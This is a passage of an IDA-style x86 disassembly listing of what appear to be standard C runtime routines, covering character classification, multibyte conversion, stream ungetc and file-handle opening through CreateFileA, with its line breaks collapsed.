short loc_41E732 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_41E72C mov [eax], bx loc_41E72C: ; CODE XREF: sub_41E709+Cj ; sub_41E709+11j ... xor eax, eax loc_41E72E: ; CODE XREF: sub_41E709+42j ; sub_41E709+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41E732: ; CODE XREF: sub_41E709+17j cmp dword_49288C, ebx jnz short loc_41E74D mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_41E748 movzx ax, al mov [ecx], ax loc_41E748: ; CODE XREF: sub_41E709+36j ; sub_41E709+C0j push 1 pop eax jmp short loc_41E72E ; --------------------------------------------------------------------------- loc_41E74D: ; CODE XREF: sub_41E709+2Fj mov ecx, off_435C2C movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41E7AA mov eax, dword_435E38 cmp eax, 1 jle short loc_41E791 cmp [ebp+arg_8], eax jl short loc_41E79B xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_49289C call ds:dword_4953EC ; MultiByteToWideChar test eax, eax mov eax, dword_435E38 jnz short loc_41E72E loc_41E791: ; CODE XREF: sub_41E709+5Cj cmp [ebp+arg_8], eax jb short loc_41E79B cmp [esi+1], bl jnz short loc_41E72E loc_41E79B: ; CODE XREF: sub_41E709+61j ; sub_41E709+8Bj ... mov dword_4927F4, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E72E ; --------------------------------------------------------------------------- loc_41E7AA: ; CODE XREF: sub_41E709+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_49289C call ds:dword_4953EC ; MultiByteToWideChar test eax, eax jnz loc_41E748 jmp short loc_41E79B sub_41E709 endp ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41E7EB push 103h push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E7EB: ; CODE XREF: .text:0041E7D8j mov eax, [esp+4] mov ecx, off_435C2C mov ax, [ecx+eax*2] and eax, 103h retn ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41E816 push 1 push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E816: ; CODE XREF: .text:0041E806j mov eax, [esp+4] mov ecx, off_435C2C mov al, [ecx+eax*2] and eax, 1 retn ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41E83E push 2 push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E83E: ; CODE XREF: .text:0041E82Ej mov eax, [esp+4] mov ecx, off_435C2C mov al, [ecx+eax*2] and eax, 2 retn ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41E866 push 4 push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E866: ; CODE XREF: .text:0041E856j mov eax, [esp+4] mov ecx, off_435C2C mov al, [ecx+eax*2] and eax, 4 retn ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41E891 push 80h push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E891: ; CODE XREF: .text:0041E87Ej mov eax, [esp+4] mov ecx, off_435C2C mov al, [ecx+eax*2] and eax, 80h retn ; =============== S U B R O U T I N E ======================================= sub_41E8A4 proc near ; CODE XREF: sub_41B320+76p ; sub_41B320+88p ... arg_0 = dword ptr 4 cmp dword_435E38, 1 jle short loc_41E8BB push 8 push [esp+4+arg_0] call sub_41BDD1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E8BB: ; CODE XREF: sub_41E8A4+7j mov eax, [esp+arg_0] mov ecx, off_435C2C mov al, [ecx+eax*2] and eax, 8 retn sub_41E8A4 endp ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41E8E3 push 10h push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E8E3: ; CODE XREF: .text:0041E8D3j mov eax, [esp+4] mov ecx, off_435C2C mov al, [ecx+eax*2] and eax, 10h retn ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41E90E push 107h push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E90E: ; CODE XREF: .text:0041E8FBj mov eax, [esp+4] mov ecx, off_435C2C mov ax, [ecx+eax*2] and eax, 107h retn ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41E93C push 157h push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: .text:0041E929j mov eax, [esp+4] mov ecx, off_435C2C mov ax, [ecx+eax*2] and eax, 157h retn ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41E96A push 117h push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E96A: ; CODE XREF: .text:0041E957j mov eax, [esp+4] mov ecx, off_435C2C mov ax, [ecx+eax*2] and eax, 117h retn ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41E995 push 20h push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41E995: ; CODE XREF: .text:0041E985j mov eax, [esp+4] mov ecx, off_435C2C mov al, [ecx+eax*2] and eax, 20h retn ; --------------------------------------------------------------------------- cmp dword ptr [esp+4], 80h sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- mov eax, [esp+4] and eax, 7Fh retn ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41E9D6 push 103h push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx jmp short loc_41E9E8 ; --------------------------------------------------------------------------- loc_41E9D6: ; CODE XREF: .text:0041E9C2j mov eax, off_435C2C mov ecx, [esp+4] mov ax, [eax+ecx*2] and eax, 103h loc_41E9E8: ; CODE XREF: .text:0041E9D4j test eax, eax jnz short loc_41E9F4 cmp dword ptr [esp+4], 5Fh jz short loc_41E9F4 retn ; --------------------------------------------------------------------------- loc_41E9F4: ; CODE XREF: .text:0041E9EAj ; .text:0041E9F1j push 1 pop eax retn ; --------------------------------------------------------------------------- cmp dword_435E38, 1 jle short loc_41EA13 push 107h push dword ptr [esp+8] call sub_41BDD1 pop ecx pop ecx jmp short loc_41EA25 ; --------------------------------------------------------------------------- loc_41EA13: ; CODE XREF: .text:0041E9FFj mov eax, off_435C2C mov ecx, [esp+4] mov ax, [eax+ecx*2] and eax, 107h loc_41EA25: ; CODE XREF: .text:0041EA11j test eax, eax jnz short loc_41EA31 cmp dword ptr [esp+4], 5Fh jz short loc_41EA31 retn ; --------------------------------------------------------------------------- loc_41EA31: ; CODE XREF: .text:0041EA27j ; .text:0041EA2Ej push 1 pop eax retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41EA40 proc near ; CODE XREF: sub_41B320+797p ; sub_41B320+7E7p cmp cl, 40h jnb short loc_41EA5A cmp cl, 20h jnb short loc_41EA50 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_41EA50: ; CODE XREF: sub_41EA40+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_41EA5A: ; CODE XREF: sub_41EA40+3j xor eax, eax xor edx, edx retn sub_41EA40 endp ; =============== S U B R O U T I N E ======================================= sub_41EA5F proc near ; CODE XREF: sub_41BD96+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41EAAB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41EA7D test al, 80h jz short loc_41EAAB test al, 2 jnz short loc_41EAAB loc_41EA7D: ; CODE XREF: sub_41EA5F+14j cmp dword ptr [esi+8], 0 jnz short loc_41EA8A push esi call sub_41E57E pop ecx loc_41EA8A: ; CODE XREF: sub_41EA5F+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41EA9A cmp dword ptr [esi+4], 0 jnz short loc_41EAAB inc eax mov [esi], eax loc_41EA9A: ; CODE XREF: sub_41EA5F+30j test byte ptr [esi+0Ch], 40h jz short loc_41EAB1 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_41EAB7 inc eax mov [esi], eax loc_41EAAB: ; CODE XREF: sub_41EA5F+9j ; sub_41EA5F+18j ... or eax, 0FFFFFFFFh loc_41EAAE: ; CODE XREF: sub_41EA5F+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41EAB1: ; CODE XREF: sub_41EA5F+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_41EAB7: ; CODE XREF: sub_41EA5F+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41EAAE sub_41EA5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EACD proc near ; CODE XREF: sub_41BDD1+5Ep ; sub_41C924+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427B30 push offset sub_41D854 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4929EC xor ebx, ebx cmp eax, ebx jnz short loc_41EB3C lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427824 push esi call ds:dword_495300 ; GetStringTypeW test eax, eax jz short loc_41EB1A mov eax, esi jmp short loc_41EB37 ; --------------------------------------------------------------------------- loc_41EB1A: ; CODE XREF: sub_41EACD+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4370B8 push esi push ebx call ds:dword_495304 ; GetStringTypeA test eax, eax jz loc_41EC02 push 2 pop eax loc_41EB37: ; CODE XREF: sub_41EACD+4Bj mov dword_4929EC, eax loc_41EB3C: ; CODE XREF: sub_41EACD+2Fj cmp eax, 2 jnz short loc_41EB65 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41EB4D mov eax, dword_49288C loc_41EB4D: ; CODE XREF: sub_41EACD+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call ds:dword_495304 ; GetStringTypeA jmp loc_41EC04 ; --------------------------------------------------------------------------- loc_41EB65: ; CODE XREF: sub_41EACD+72j cmp eax, 1 jnz loc_41EC02 cmp [ebp+arg_10], ebx jnz short loc_41EB7B mov eax, dword_49289C mov [ebp+arg_10], eax loc_41EB7B: ; CODE XREF: sub_41EACD+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call ds:dword_4953EC ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_41EC02 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_416880 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_415CA0 add esp, 0Ch jmp short loc_41EBD1 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41EBD1: ; CODE XREF: sub_41EACD+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41EC02 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call ds:dword_4953EC ; MultiByteToWideChar cmp eax, ebx jz short loc_41EC02 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call ds:dword_495300 ; GetStringTypeW jmp short loc_41EC04 ; --------------------------------------------------------------------------- loc_41EC02: ; CODE XREF: sub_41EACD+61j ; sub_41EACD+9Bj ... xor eax, eax loc_41EC04: ; CODE XREF: sub_41EACD+93j ; sub_41EACD+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41EACD endp ; =============== S U B R O U T I N E ======================================= sub_41EC16 proc near ; CODE XREF: .text:loc_41EE2Cp ; sub_41EEE4:loc_41F05Cp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_493E60 loc_41EC25: ; CODE XREF: sub_41EC16+48j mov eax, [ecx] test eax, eax jz short loc_41EC62 lea edx, [eax+100h] loc_41EC31: ; CODE XREF: sub_41EC16+28j cmp eax, edx jnb short loc_41EC51 test byte ptr [eax+4], 1 jz short loc_41EC40 add eax, 8 jmp short loc_41EC31 ; --------------------------------------------------------------------------- loc_41EC40: ; CODE XREF: sub_41EC16+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41ECA5 loc_41EC51: ; CODE XREF: sub_41EC16+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_493F60 jl short loc_41EC25 jmp short loc_41ECA5 ; --------------------------------------------------------------------------- loc_41EC62: ; CODE XREF: sub_41EC16+13j mov esi, 100h push esi call sub_415CF8 test eax, eax pop ecx jz short loc_41ECA5 add dword_493F9C, 20h lea ecx, ds:493E60h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41EC88: ; CODE XREF: sub_41EC16+88j cmp eax, edx jnb short loc_41ECA0 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41EC88 ; --------------------------------------------------------------------------- loc_41ECA0: ; CODE XREF: sub_41EC16+74j shl edi, 5 mov ebx, edi loc_41ECA5: ; CODE XREF: sub_41EC16+39j ; sub_41EC16+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41EC16 endp ; =============== S U B R O U T I N E ======================================= sub_41ECAB proc near ; CODE XREF: .text:0041EE51p ; sub_41EEE4+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_493F9C push edi jnb short loc_41ED0B mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:493E60h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41ED0B cmp dword_435AA4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41ED01 sub eax, 0 jz short loc_41ECF8 dec eax jz short loc_41ECF3 dec eax jnz short loc_41ED01 push ebx push 0FFFFFFF4h jmp short loc_41ECFB ; --------------------------------------------------------------------------- loc_41ECF3: ; CODE XREF: sub_41ECAB+3Ej push ebx push 0FFFFFFF5h jmp short loc_41ECFB ; --------------------------------------------------------------------------- loc_41ECF8: ; CODE XREF: sub_41ECAB+3Bj push ebx push 0FFFFFFF6h loc_41ECFB: ; CODE XREF: sub_41ECAB+46j ; sub_41ECAB+4Bj call ds:dword_4952FC ; SetStdHandle loc_41ED01: ; CODE XREF: sub_41ECAB+36j ; sub_41ECAB+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41ED1F ; --------------------------------------------------------------------------- loc_41ED0B: ; CODE XREF: sub_41ECAB+Cj ; sub_41ECAB+28j and dword_4927F8, 0 mov dword_4927F4, 9 or eax, 0FFFFFFFFh loc_41ED1F: ; CODE XREF: sub_41ECAB+5Ej pop edi pop esi retn sub_41ECAB endp ; =============== S U B R O U T I N E ======================================= sub_41ED22 proc near ; CODE XREF: sub_41BE46+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_493F9C push edi jnb short loc_41ED85 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:493E60h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41ED85 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED85 cmp dword_435AA4, 1 jnz short loc_41ED7B xor eax, eax sub ecx, eax jz short loc_41ED72 dec ecx jz short loc_41ED6D dec ecx jnz short loc_41ED7B push eax push 0FFFFFFF4h jmp short loc_41ED75 ; --------------------------------------------------------------------------- loc_41ED6D: ; CODE XREF: sub_41ED22+41j push eax push 0FFFFFFF5h jmp short loc_41ED75 ; --------------------------------------------------------------------------- loc_41ED72: ; CODE XREF: sub_41ED22+3Ej push eax push 0FFFFFFF6h loc_41ED75: ; CODE XREF: sub_41ED22+49j ; sub_41ED22+4Ej call ds:dword_4952FC ; SetStdHandle loc_41ED7B: ; CODE XREF: sub_41ED22+38j ; sub_41ED22+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41ED99 ; --------------------------------------------------------------------------- loc_41ED85: ; CODE XREF: sub_41ED22+Cj ; sub_41ED22+2Aj ... and dword_4927F8, 0 mov dword_4927F4, 9 or eax, 0FFFFFFFFh loc_41ED99: ; CODE XREF: sub_41ED22+61j pop edi pop esi retn sub_41ED22 endp ; =============== S U B R O U T I N E ======================================= sub_41ED9C proc near ; CODE XREF: sub_41BE46+32p ; sub_41BE46+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_493F9C jnb short loc_41EDC4 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_493E60[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41EDC4 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41EDC4: ; CODE XREF: sub_41ED9C+Aj ; sub_41ED9C+23j and dword_4927F8, 0 mov dword_4927F4, 9 or eax, 0FFFFFFFFh retn sub_41ED9C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx xor bl, bl test byte ptr [ebp+0Ch], 8 push esi jz short loc_41EDE9 add bl, 20h loc_41EDE9: ; CODE XREF: .text:0041EDE4j test byte ptr [ebp+0Dh], 40h jz short loc_41EDF2 or bl, 80h loc_41EDF2: ; CODE XREF: .text:0041EDEDj test byte ptr [ebp+0Ch], 80h jz short loc_41EDFB or bl, 10h loc_41EDFB: ; CODE XREF: .text:0041EDF6j push dword ptr [ebp+8] call ds:dword_495314 ; GetFileType test eax, eax jnz short loc_41EE1A call ds:dword_495328 ; RtlGetLastWin32Error push eax call sub_41C4E8 pop ecx or eax, 0FFFFFFFFh jmp short loc_41EE72 ; --------------------------------------------------------------------------- loc_41EE1A: ; CODE XREF: .text:0041EE06j cmp eax, 2 jnz short loc_41EE24 or bl, 40h jmp short loc_41EE2C ; --------------------------------------------------------------------------- loc_41EE24: ; CODE XREF: .text:0041EE1Dj cmp eax, 3 jnz short loc_41EE2C or bl, 8 loc_41EE2C: ; CODE XREF: .text:0041EE22j ; .text:0041EE27j call sub_41EC16 mov esi, eax or eax, 0FFFFFFFFh cmp esi, eax jnz short loc_41EE4D and dword_4927F8, 0 mov dword_4927F4, 18h jmp short loc_41EE72 ; --------------------------------------------------------------------------- loc_41EE4D: ; CODE XREF: .text:0041EE38j push dword ptr [ebp+8] push esi call sub_41ECAB pop ecx mov eax, esi pop ecx or bl, 1 sar eax, 5 mov ecx, esi mov eax, dword_493E60[eax*4] and ecx, 1Fh mov [eax+ecx*8+4], bl mov eax, esi loc_41EE72: ; CODE XREF: .text:0041EE18j ; .text:0041EE4Bj pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_41EE76 proc near ; CODE XREF: sub_41BF24+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_493F9C jnb short loc_41EEBF mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_493E60[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41EEBF push eax call sub_41ED9C pop ecx push eax call ds:dword_4952F8 ; FlushFileBuffers test eax, eax jnz short loc_41EEB4 call ds:dword_495328 ; RtlGetLastWin32Error jmp short loc_41EEB6 ; --------------------------------------------------------------------------- loc_41EEB4: ; CODE XREF: sub_41EE76+34j xor eax, eax loc_41EEB6: ; CODE XREF: sub_41EE76+3Cj test eax, eax jz short locret_41EECC mov dword_4927F8, eax loc_41EEBF: ; CODE XREF: sub_41EE76+Aj ; sub_41EE76+22j mov dword_4927F4, 9 or eax, 0FFFFFFFFh locret_41EECC: ; CODE XREF: sub_41EE76+42j retn sub_41EE76 endp ; --------------------------------------------------------------------------- push dword ptr [esp+0Ch] push 40h push dword ptr [esp+10h] push dword ptr [esp+10h] call sub_41EEE4 add esp, 10h retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EEE4 proc near ; CODE XREF: sub_41C300+13Fp ; .text:0041EEDBp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41EF0A mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41EF15 ; --------------------------------------------------------------------------- loc_41EF0A: ; CODE XREF: sub_41EEE4+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41EF15: ; CODE XREF: sub_41EEE4+24j mov eax, 8000h test ecx, eax jnz short loc_41EF2F test ch, 40h jnz short loc_41EF2B cmp dword_492AD4, eax jz short loc_41EF2F loc_41EF2B: ; CODE XREF: sub_41EEE4+3Dj or [ebp+var_1], 80h loc_41EF2F: ; CODE XREF: sub_41EEE4+38j ; sub_41EEE4+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41EF67 dec eax jz short loc_41EF5E dec eax jz short loc_41EF55 loc_41EF40: ; CODE XREF: sub_41EEE4+9Fj ; sub_41EEE4+E8j ... mov dword_4927F4, 16h mov dword_4927F8, ebx jmp loc_41F17A ; --------------------------------------------------------------------------- loc_41EF55: ; CODE XREF: sub_41EEE4+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41EF6E ; --------------------------------------------------------------------------- loc_41EF5E: ; CODE XREF: sub_41EEE4+57j mov [ebp+var_C], 40000000h jmp short loc_41EF6E ; --------------------------------------------------------------------------- loc_41EF67: ; CODE XREF: sub_41EEE4+54j mov [ebp+var_C], 80000000h loc_41EF6E: ; CODE XREF: sub_41EEE4+78j ; sub_41EEE4+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41EF9C cmp eax, 20h jz short loc_41EF93 cmp eax, 30h jz short loc_41EF8A cmp eax, 40h jnz short loc_41EF40 mov [ebp+var_10], esi jmp short loc_41EF9F ; --------------------------------------------------------------------------- loc_41EF8A: ; CODE XREF: sub_41EEE4+9Aj mov [ebp+var_10], 2 jmp short loc_41EF9F ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EEE4+95j mov [ebp+var_10], 1 jmp short loc_41EF9F ; --------------------------------------------------------------------------- loc_41EF9C: ; CODE XREF: sub_41EEE4+90j mov [ebp+var_10], ebx loc_41EF9F: ; CODE XREF: sub_41EEE4+A4j ; sub_41EEE4+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41EFE9 jz short loc_41EFE4 cmp ecx, ebx jz short loc_41EFE4 cmp ecx, edi jz short loc_41EFDB cmp ecx, 200h jz short loc_41F002 cmp ecx, 300h jnz loc_41EF40 mov [ebp+var_8], 2 jmp short loc_41F012 ; --------------------------------------------------------------------------- loc_41EFDB: ; CODE XREF: sub_41EEE4+D8j mov [ebp+var_8], 4 jmp short loc_41F012 ; --------------------------------------------------------------------------- loc_41EFE4: ; CODE XREF: sub_41EEE4+D0j ; sub_41EEE4+D4j mov [ebp+var_8], esi jmp short loc_41F012 ; --------------------------------------------------------------------------- loc_41EFE9: ; CODE XREF: sub_41EEE4+CEj cmp ecx, 500h jz short loc_41F00B cmp ecx, 600h jz short loc_41F002 cmp ecx, edx jz short loc_41F00B jmp loc_41EF40 ; --------------------------------------------------------------------------- loc_41F002: ; CODE XREF: sub_41EEE4+E0j ; sub_41EEE4+113j mov [ebp+var_8], 5 jmp short loc_41F012 ; --------------------------------------------------------------------------- loc_41F00B: ; CODE XREF: sub_41EEE4+10Bj ; sub_41EEE4+117j mov [ebp+var_8], 1 loc_41F012: ; CODE XREF: sub_41EEE4+F5j ; sub_41EEE4+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_41F031 mov ecx, dword_4927FC not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_41F031 push 1 pop esi loc_41F031: ; CODE XREF: sub_41EEE4+138j ; sub_41EEE4+148j test al, 40h jz short loc_41F03F or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_41F03F: ; CODE XREF: sub_41EEE4+14Fj test ah, 10h jz short loc_41F046 or esi, edi loc_41F046: ; CODE XREF: sub_41EEE4+15Ej test al, 20h jz short loc_41F052 or esi, 8000000h jmp short loc_41F05C ; --------------------------------------------------------------------------- loc_41F052: ; CODE XREF: sub_41EEE4+164j test al, 10h jz short loc_41F05C or esi, 10000000h loc_41F05C: ; CODE XREF: sub_41EEE4+16Cj ; sub_41EEE4+170j call sub_41EC16 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_41F07D and dword_4927F8, 0 mov dword_4927F4, 18h jmp short loc_41F0BB ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41EEE4+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call ds:dword_495360 ; CreateFileA mov esi, eax cmp esi, edi jz short loc_41F0AE push esi call ds:dword_495314 ; GetFileType test eax, eax jnz short loc_41F0C2 push esi call ds:dword_495358 ; CloseHandle loc_41F0AE: ; CODE XREF: sub_41EEE4+1B6j call ds:dword_495328 ; RtlGetLastWin32Error push eax call sub_41C4E8 pop ecx loc_41F0BB: ; CODE XREF: sub_41EEE4+197j mov eax, edi jmp loc_41F198 ; --------------------------------------------------------------------------- loc_41F0C2: ; CODE XREF: sub_41EEE4+1C1j cmp eax, 2 jnz short loc_41F0CD or [ebp+var_1], 40h jmp short loc_41F0D6 ; --------------------------------------------------------------------------- loc_41F0CD: ; CODE XREF: sub_41EEE4+1E1j cmp eax, 3 jnz short loc_41F0D6 or [ebp+var_1], 8 loc_41F0D6: ; CODE XREF: sub_41EEE4+1E7j ; sub_41EEE4+1ECj push esi push ebx call sub_41ECAB pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:493E60h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_41F17F test al, 80h jz short loc_41F17F test byte ptr [ebp+arg_4], 2 jz short loc_41F17F push 2 push 0FFFFFFFFh push ebx call sub_41CE78 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41F134 cmp dword_4927F8, 83h jz short loc_41F17F jmp short loc_41F173 ; --------------------------------------------------------------------------- loc_41F134: ; CODE XREF: sub_41EEE4+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41C10A add esp, 0Ch test eax, eax jnz short loc_41F161 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_41F161 push [ebp+var_10] push ebx call sub_42055F pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41F173 loc_41F161: ; CODE XREF: sub_41EEE4+265j ; sub_41EEE4+26Bj push 0 push 0 push ebx call sub_41CE78 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41F17F loc_41F173: ; CODE XREF: sub_41EEE4+24Ej ; sub_41EEE4+27Bj push ebx call sub_41BE46 pop ecx loc_41F17A: ; CODE XREF: sub_41EEE4+6Cj or eax, 0FFFFFFFFh jmp short loc_41F198 ; --------------------------------------------------------------------------- loc_41F17F: ; CODE XREF: sub_41EEE4+221j ; sub_41EEE4+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41F196 test byte ptr [ebp+arg_4], 8 jz short loc_41F196 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_41F196: ; CODE XREF: sub_41EEE4+29Fj ; sub_41EEE4+2A5j mov eax, ebx loc_41F198: ; CODE XREF: sub_41EEE4+1D9j ; sub_41EEE4+299j pop edi pop esi pop ebx leave retn sub_41EEE4 endp ; =============== S U B R O U T I N E ======================================= sub_41F19D proc near ; CODE XREF: sub_41C623:loc_41C662p cmp dword_492AB0, 0 jnz short locret_41F1B1 call sub_41F1B2 inc dword_492AB0 locret_41F1B1: ; CODE XREF: sub_41F19D+7j retn sub_41F19D endp ; =============== S U B R O U T I N E ======================================= sub_41F1B2 proc near ; CODE 